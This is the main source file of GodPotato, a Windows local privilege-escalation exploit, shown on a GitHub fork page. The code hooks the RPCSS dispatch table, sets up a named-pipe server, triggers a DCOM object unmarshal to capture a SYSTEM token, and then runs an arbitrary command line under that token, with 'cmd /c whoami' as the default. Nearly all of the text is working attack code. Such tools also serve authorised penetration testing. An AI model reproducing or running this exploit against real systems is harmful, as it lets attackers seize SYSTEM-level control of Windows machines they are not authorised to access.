forked from BeichenDream/GodPotato
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathProgram.cs
125 lines (104 loc) · 5.09 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
using System;
using System.IO;
using GodPotato.NativeAPI;
using System.Security.Principal;
using SharpToken;
using static GodPotato.ArgsParse;
namespace GodPotato
{
internal class Program
{
class GodPotatoArgs
{
[ArgsAttribute("cmd","cmd /c whoami",Description = "CommandLine",Required = true)]
public string cmd { get; set; }
[ArgsAttribute("clsid", "18f70770-8e64-11cf-9af1-0020af6e72f4", Description = "CLSID; get from 'https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md'", Required = true)]
public string clsid { get; set; }
}
static void Main(string[] args)
{
TextWriter ConsoleWriter = Console.Out;
GodPotatoArgs potatoArgs;
string helpMessage = PrintHelp(typeof(GodPotatoArgs), @"
FFFFF FFF FFFFFFF
FFFFFFF FFF FFFFFFFF
FFF FFFF FFF FFF FFF FFF FFF
FFF FFF FFF FFF FFF FFF FFF
FFF FFF FFF FFF FFF FFF FFF
FFFF FFFFFFF FFFFFFFF FFF FFF FFFFFFF FFFFFFFFF FFFFFF FFFFFFFFF FFFFFF
FFFF FFFF FFFF FFF FFFF FFF FFFF FFFF FFFF FFF FFF FFF FFF FFF FFFF
FFFF FFFFF FFF FFF FFF FFF FFFFFFFF FFF FFF FFF F FFF FFF FFF FFF
FFFF FFF FFF FFFFFFF FFF FFF FFFF FFF FFF FFFFF FFF FFF FFFF
FFFF FFF FFF FFFFFFF FFF FFF FFFF FFF FFF FFFFFFFF FFF FFF FFFF
FFF FFF FFF FFF FFF FFF FFF FFF FFF FFF FFFF FFF FFF FFF FFFF
FFFF FFFF FFFF FFF FFFF FFF FFF FFF FFFF FFF FFFF FFF FFF FFFF FFF
FFFFFFFF FFFFFFF FFFFFFFF FFF FFFFFFF FFFFFF FFFFFFFF FFFFFFF FFFFFFF
FFFFFFF FFFFF FFFFFFF FFF FFFFF FFFFF FFFFFFFF FFFF FFFF
"
, "GodPotato", new string[0]);
if (args.Length == 0)
{
ConsoleWriter.WriteLine(helpMessage);
return;
}
else
{
try
{
potatoArgs = ParseArgs<GodPotatoArgs>(args);
}
catch (Exception e)
{
if (e.InnerException != null)
{
e = e.InnerException;
}
ConsoleWriter.WriteLine("Exception:" + e.Message);
ConsoleWriter.WriteLine(helpMessage);
return;
}
}
try
{
String pipeName = Guid.NewGuid().ToString();
GodPotatoContext godPotatoContext = new GodPotatoContext(ConsoleWriter, pipeName, potatoArgs.clsid);
ConsoleWriter.WriteLine("[*] Using CLSID: {0}", potatoArgs.clsid);
ConsoleWriter.WriteLine("[*] CombaseModule: 0x{0:x}", godPotatoContext.CombaseModule);
ConsoleWriter.WriteLine("[*] DispatchTable: 0x{0:x}", godPotatoContext.DispatchTablePtr);
ConsoleWriter.WriteLine("[*] UseProtseqFunction: 0x{0:x}", godPotatoContext.UseProtseqFunctionPtr);
ConsoleWriter.WriteLine("[*] UseProtseqFunctionParamCount: {0}", godPotatoContext.UseProtseqFunctionParamCount);
ConsoleWriter.WriteLine("[*] HookRPC");
godPotatoContext.HookRPC();
ConsoleWriter.WriteLine("[*] Start PipeServer");
godPotatoContext.Start();
GodPotatoUnmarshalTrigger unmarshalTrigger = new GodPotatoUnmarshalTrigger(godPotatoContext);
try
{
ConsoleWriter.WriteLine("[*] Trigger RPCSS");
int hr = unmarshalTrigger.Trigger();
ConsoleWriter.WriteLine("[*] UnmarshalObject: 0x{0:x}", hr);
}
catch (Exception e)
{
ConsoleWriter.WriteLine(e);
}
WindowsIdentity systemIdentity = godPotatoContext.GetToken();
if (systemIdentity != null)
{
ConsoleWriter.WriteLine("[*] CurrentUser: " + systemIdentity.Name);
TokenuUils.createProcessReadOut(ConsoleWriter, systemIdentity.Token, potatoArgs.cmd);
}
else
{
ConsoleWriter.WriteLine("[!] Failed to impersonate security context token");
}
godPotatoContext.Restore();
godPotatoContext.Stop();
}
catch (Exception e)
{
ConsoleWriter.WriteLine("[!] " + e.Message);
}
}
}
}